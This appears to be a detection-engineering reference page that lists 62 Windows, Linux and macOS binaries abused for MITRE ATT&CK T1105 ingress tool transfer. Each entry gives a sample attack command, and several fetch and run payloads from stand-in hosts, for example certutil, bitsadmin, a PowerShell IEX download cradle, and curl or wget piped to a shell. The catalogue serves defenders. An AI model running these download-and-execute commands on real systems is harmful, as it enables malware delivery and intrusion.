LOLPulseUnified Detection Engine
Search LOLBins Directory
T1105Tactic: Command and ControlOfficial MITRE ATT&CK Page

T1105: Ingress Tool Transfer

Adversaries may transfer tools or other files from an external system into a compromised environment. Tools may be copied from an external adversary-controlled system over the command and control channel or through alternate protocols.

Total Capable Binaries: 62
•
Windows: 59
•
Linux: 2
•
macOS: 1

Living-off-the-Land Matrix for T1105

Across 62 verified binaries
Windows2 payloads

certutil.exe

Certutil.exe is a command-line program installed as part of Certificate Services. Attackers frequently abuse it to download arbitrary files from remote URLs, encode/decode Base64 payloads to evade detection, and hash files.

Sample Attack Vector:
certutil.exe -urlcache -split -f http://example.com/payload.exe %TEMP%\update.exe
Inspect certutil.exe & Telemetry
Windows1 payloads

bitsadmin.exe

Background Intelligent Transfer Service (BITS) administrator tool manages asynchronous, throttled background transfers. Attackers use BITS to stage remote downloads that survive reboots and evade conventional network monitoring.

Sample Attack Vector:
bitsadmin.exe /transfer myJob /download /priority foreground http://c2.evil.com/implant.exe C:\Windows\Temp\implant.exe
Inspect bitsadmin.exe & Telemetry
Windows2 payloads

powershell.exe

PowerShell is a powerful task automation framework and scripting engine. Widely abused by threat actors for in-memory execution (fileless malware), credential dumping, remote command execution, and AMSI bypasses.

Sample Attack Vector:
powershell.exe -nop -w hidden -ep bypass -c "IEX ((New-Object Net.WebClient).DownloadString('http://c2.server/stage2.ps1'))"
Inspect powershell.exe & Telemetry
Windows1 payloads

AppInstaller.exe

Tool used for installation of AppX/MSIX applications on Windows 10

Sample Attack Vector:
start ms-appinstaller://?source={REMOTEURL:.exe}
Inspect AppInstaller.exe & Telemetry
Windows2 payloads

CertOC.exe

Used for installing certificates

Sample Attack Vector:
certoc.exe -LoadDLL {PATH_ABSOLUTE:.dll}
Inspect CertOC.exe & Telemetry
Windows2 payloads

CertReq.exe

Used for requesting and managing certificates

Sample Attack Vector:
CertReq -Post -config {REMOTEURL} {PATH_ABSOLUTE} {PATH:.txt}
Inspect CertReq.exe & Telemetry
Windows4 payloads

Cmd.exe

The command-line interpreter in Windows

Sample Attack Vector:
cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:{REMOTEURL:.sct} ^scrobj.dll > {PATH}:payload.bat
Inspect Cmd.exe & Telemetry
Windows1 payloads

cmdl32.exe

Microsoft Connection Manager Auto-Download

Sample Attack Vector:
cmdl32 /vpn /lan %cd%\config
Inspect cmdl32.exe & Telemetry
Windows2 payloads

ConfigSecurityPolicy.exe

Binary part of Windows Defender. Used to manage settings in Windows Defender. You can configure different pilot collections for each of the co-management workloads. Being able to use different pilot collections allows you to take a more granular approach when shifting workloads.

Sample Attack Vector:
ConfigSecurityPolicy.exe {PATH_ABSOLUTE} {REMOTEURL}
Inspect ConfigSecurityPolicy.exe & Telemetry
Windows1 payloads

Desktopimgdownldr.exe

Windows binary used to configure lockscreen/desktop image

Sample Attack Vector:
set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:{REMOTEURL} /eventName:desktopimgdownldr
Inspect Desktopimgdownldr.exe & Telemetry
Windows3 payloads

Diantz.exe

Binary that package existing files into a cabinet (.cab) file

Sample Attack Vector:
diantz.exe {PATH_ABSOLUTE:.exe} {PATH_ABSOLUTE}:targetFile.cab
Inspect Diantz.exe & Telemetry
Windows6 payloads

Esentutl.exe

Binary for working with Microsoft Joint Engine Technology (JET) database

Sample Attack Vector:
esentutl.exe /y {PATH_ABSOLUTE:.source.vbs} /d {PATH_ABSOLUTE:.dest.vbs} /o
Inspect Esentutl.exe & Telemetry
Windows3 payloads

Expand.exe

Binary that expands one or more compressed files

Sample Attack Vector:
expand {PATH_SMB:.bat} {PATH_ABSOLUTE:.bat}
Inspect Expand.exe & Telemetry
Windows4 payloads

Extrac32.exe

Extract to ADS, copy or overwrite a file with Extrac32.exe

Sample Attack Vector:
extrac32 {PATH_ABSOLUTE:.cab} {PATH_ABSOLUTE}:file.exe
Inspect Extrac32.exe & Telemetry
Windows4 payloads

Findstr.exe

Write to ADS, discover, or download files with Findstr.exe

Sample Attack Vector:
findstr /V /L W3AllLov3LolBas {PATH_ABSOLUTE:.exe} > {PATH_ABSOLUTE}:file.exe
Inspect Findstr.exe & Telemetry
Windows1 payloads

Finger.exe

Displays information about a user or users on a specified remote computer that is running the Finger service or daemon

Sample Attack Vector:
finger user@example.host.com | more +2 | cmd
Inspect Finger.exe & Telemetry
Windows2 payloads

Ftp.exe

A binary designed for connecting to FTP servers

Sample Attack Vector:
echo !{CMD} > ftpcommands.txt && ftp -s:ftpcommands.txt
Inspect Ftp.exe & Telemetry
Windows3 payloads

Hh.exe

Binary used for processing chm files in Windows

Sample Attack Vector:
HH.exe {REMOTEURL:.bat}
Inspect Hh.exe & Telemetry
Windows2 payloads

Ieexec.exe

The IEExec.exe application is an undocumented Microsoft .NET Framework application that is included with the .NET Framework. You can use the IEExec.exe application as a host to run other managed applications that you start by using a URL.

Sample Attack Vector:
ieexec.exe {REMOTEURL:.exe}
Inspect Ieexec.exe & Telemetry
Windows1 payloads

IMEWDBLD.exe

Microsoft IME Open Extended Dictionary Module

Sample Attack Vector:
C:\Windows\System32\IME\SHARED\IMEWDBLD.exe {REMOTEURL}
Inspect IMEWDBLD.exe & Telemetry
Windows3 payloads

Installutil.exe

The Installer tool is a command-line utility that allows you to install and uninstall server resources by executing the installer components in specified assemblies

Sample Attack Vector:
InstallUtil.exe /logfile= /LogToConsole=false /U {PATH:.dll}
Inspect Installutil.exe & Telemetry
Windows1 payloads

Ldifde.exe

Creates, modifies, and deletes LDAP directory objects.

Sample Attack Vector:
Ldifde -i -f {PATH:.ldf}
Inspect Ldifde.exe & Telemetry
Windows4 payloads

Makecab.exe

Binary to package existing files into a cabinet (.cab) file

Sample Attack Vector:
makecab {PATH_ABSOLUTE:.exe} {PATH_ABSOLUTE}:autoruns.cab
Inspect Makecab.exe & Telemetry
Windows3 payloads

MpCmdRun.exe

Binary part of Windows Defender. Used to manage settings in Windows Defender

Sample Attack Vector:
MpCmdRun.exe -DownloadFile -url {REMOTEURL:.exe} -path {PATH_ABSOLUTE:.exe}
Inspect MpCmdRun.exe & Telemetry
Windows3 payloads

Msedge.exe

Microsoft Edge browser

Sample Attack Vector:
msedge.exe {REMOTEURL:.exe.txt}
Inspect Msedge.exe & Telemetry
Windows2 payloads

msedge_proxy.exe

Microsoft Edge Browser

Sample Attack Vector:
C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe {REMOTEURL:.zip}
Inspect msedge_proxy.exe & Telemetry
Windows1 payloads

msoxmled.exe

Microsoft Office XML Editor, used to handle XML documents in Microsoft Office.

Sample Attack Vector:
msoxmled.exe /verb open {REMOTEURL}
Inspect msoxmled.exe & Telemetry
Windows1 payloads

Ngen.exe

Microsoft Native Image Generator.

Sample Attack Vector:
ngen.exe {REMOTEURL}
Inspect Ngen.exe & Telemetry
Windows1 payloads

OneDriveStandaloneUpdater.exe

OneDrive Standalone Updater

Sample Attack Vector:
OneDriveStandaloneUpdater
Inspect OneDriveStandaloneUpdater.exe & Telemetry
Windows2 payloads

Presentationhost.exe

File is used for executing Browser applications

Sample Attack Vector:
Presentationhost.exe {PATH_ABSOLUTE:.xbap}
Inspect Presentationhost.exe & Telemetry
Windows3 payloads

Print.exe

Used by Windows to send files to the printer

Sample Attack Vector:
print /D:{PATH_ABSOLUTE}:file.exe {PATH_ABSOLUTE:.exe}
Inspect Print.exe & Telemetry
Windows2 payloads

PrintBrm.exe

Printer Migration Command-Line Tool

Sample Attack Vector:
PrintBrm -b -d {PATH_SMB:folder} -f {PATH_ABSOLUTE:.zip}
Inspect PrintBrm.exe & Telemetry
Windows2 payloads

Replace.exe

Used to replace file with another file

Sample Attack Vector:
replace.exe {PATH_ABSOLUTE:.cab} {PATH_ABSOLUTE:folder} /A
Inspect Replace.exe & Telemetry
Windows3 payloads

Tar.exe

Used by Windows to extract and create archives.

Sample Attack Vector:
tar -cf {PATH}:ads {PATH_ABSOLUTE:folder}
Inspect Tar.exe & Telemetry
Windows3 payloads

winget.exe

Windows Package Manager tool

Sample Attack Vector:
winget.exe install --manifest {PATH:.yml}
Inspect winget.exe & Telemetry
Windows3 payloads

Xwizard.exe

Execute custom class that has been added to the registry or download a file with Xwizard.exe

Sample Attack Vector:
xwizard RunWizard {00000001-0000-0000-0000-0000FEEDACDC}
Inspect Xwizard.exe & Telemetry
Windows1 payloads

PhotoViewer.dll

Windows Photo Viewer

Sample Attack Vector:
rundll32.exe "C:\Program Files\Windows Photo Viewer\PhotoViewer.dll",ImageView_Fullscreen {REMOTEURL}
Inspect PhotoViewer.dll & Telemetry
Windows1 payloads

Scrobj.dll

Windows Script Component Runtime

Sample Attack Vector:
rundll32.exe C:\Windows\System32\scrobj.dll,GenerateTypeLib {REMOTEURL:.exe}
Inspect Scrobj.dll & Telemetry
Windows1 payloads

Shimgvw.dll

Photo Gallery Viewer

Sample Attack Vector:
rundll32.exe c:\Windows\System32\shimgvw.dll,ImageView_Fullscreen {REMOTEURL:.exe}
Inspect Shimgvw.dll & Telemetry
Windows1 payloads

Bcp.exe

Microsoft SQL Server Bulk Copy Program utility for importing and exporting data between SQL Server instances and data files.

Sample Attack Vector:
bcp "SELECT payload_data FROM database.dbo.payloads WHERE id=1" queryout "C:\Windows\Temp\payload.exe" -S localhost -T -c
Inspect Bcp.exe & Telemetry
Windows1 payloads

devtunnel.exe

Binary to enable forwarded ports on windows operating systems.

Sample Attack Vector:
devtunnel.exe host -p 8080
Inspect devtunnel.exe & Telemetry
Windows1 payloads

dtutil.exe

Microsoft command line utility used to manage SQL Server Integration Services packages.

Sample Attack Vector:
dtutil.exe /FILE {PATH_ABSOLUTE:.source.ext} /COPY FILE;{PATH_ABSOLUTE:.dest.ext}
Inspect dtutil.exe & Telemetry
Windows1 payloads

ECMangen.exe

Command-line tool for managing certificates in Microsoft Exchange Server.

Sample Attack Vector:
ECMangen.exe {REMOTEURL}
Inspect ECMangen.exe & Telemetry
Windows1 payloads

Excel.exe

Microsoft Office binary

Sample Attack Vector:
Excel.exe {REMOTEURL}
Inspect Excel.exe & Telemetry
Windows1 payloads

MSAccess.exe

Microsoft Office component

Sample Attack Vector:
MSAccess.exe {REMOTEURL}
Inspect MSAccess.exe & Telemetry
Windows3 payloads

Msdeploy.exe

Microsoft tool used to deploy Web Applications.

Sample Attack Vector:
msdeploy.exe -verb:sync -source:RunCommand -dest:runCommand="{PATH_ABSOLUTE:.bat}"
Inspect Msdeploy.exe & Telemetry
Windows1 payloads

MsoHtmEd.exe

Microsoft Office component

Sample Attack Vector:
MsoHtmEd.exe {REMOTEURL}
Inspect MsoHtmEd.exe & Telemetry
Windows1 payloads

Mspub.exe

Microsoft Publisher

Sample Attack Vector:
mspub.exe {REMOTEURL}
Inspect Mspub.exe & Telemetry
Windows6 payloads

msxsl.exe

Command line utility used to perform XSL transformations.

Sample Attack Vector:
msxsl.exe {PATH:.xml} {PATH:.xsl}
Inspect msxsl.exe & Telemetry
Windows1 payloads

Outlook.exe

Microsoft Office component

Sample Attack Vector:
Outlook.exe {REMOTEURL}
Inspect Outlook.exe & Telemetry
Windows1 payloads

Powerpnt.exe

Microsoft Office binary.

Sample Attack Vector:
Powerpnt.exe {REMOTEURL}
Inspect Powerpnt.exe & Telemetry
Windows1 payloads

ProtocolHandler.exe

Microsoft Office binary

Sample Attack Vector:
ProtocolHandler.exe {REMOTEURL}
Inspect ProtocolHandler.exe & Telemetry
Windows1 payloads

Visio.exe

Microsoft Visio Executable

Sample Attack Vector:
Visio.exe {REMOTEURL}
Inspect Visio.exe & Telemetry
Windows3 payloads

VSLaunchBrowser.exe

Microsoft Visual Studio browser launcher tool for web applications debugging

Sample Attack Vector:
VSLaunchBrowser.exe .exe {REMOTEURL:.exe}
Inspect VSLaunchBrowser.exe & Telemetry
Windows1 payloads

WinProj.exe

Microsoft Project Executable

Sample Attack Vector:
WinProj.exe {REMOTEURL}
Inspect WinProj.exe & Telemetry
Windows1 payloads

Winword.exe

Microsoft Office binary

Sample Attack Vector:
winword.exe {REMOTEURL}
Inspect Winword.exe & Telemetry
Windows5 payloads

Wsl.exe

Windows subsystem for Linux executable

Sample Attack Vector:
wsl.exe -e /mnt/c/Windows/System32/calc.exe
Inspect Wsl.exe & Telemetry
Windows1 payloads

xsd.exe

XML Schema Definition Tool included with the Windows Software Development Kit (SDK).

Sample Attack Vector:
xsd.exe {REMOTEURL}
Inspect xsd.exe & Telemetry
Windows1 payloads

GfxDownloadWrapper.exe

Remote file download used by the Intel Graphics Control Panel, receives as first parameter a URL and a destination file path.

Sample Attack Vector:
C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe "URL" "DESTINATION FILE"
Inspect GfxDownloadWrapper.exe & Telemetry
Linux2 payloads

curl

Curl is a tool to transfer data from or to a server using supported protocols (HTTP, HTTPS, FTP, etc.). Attackers leverage curl to download malicious second-stage scripts and pipe directly into bash or sh for fileless in-memory execution.

Sample Attack Vector:
curl -fsSL https://attacker.c2/setup.sh | bash
Inspect curl & Telemetry
Linux1 payloads

wget

GNU Wget is a non-interactive network downloader. Attackers abuse wget to retrieve remote tools, exfiltrate data via POST requests, and execute downloaded scripts.

Sample Attack Vector:
wget -q -O - http://attacker.domain/installer.sh | sh
Inspect wget & Telemetry
macOS1 payloads

curl

Curl is standard on macOS and frequently invoked in bash/zsh shell scripts by macOS stealers (e.g. Atomic macOS Stealer / AMOS) to fetch stage 2 Mach-O executables or exfiltrate keychain data.

Sample Attack Vector:
curl -s -L -o /tmp/.stage2 https://c2.macos-stealer.com/loader && chmod +x /tmp/.stage2 && /tmp/.stage2
Inspect curl & Telemetry
Sharon Ben Moshe
Curated & Verified by
Sharon Ben Moshe
Cybersecurity Researcher & Detection Engineer • Check Point
LinkedIn ProfileMethodology & Papers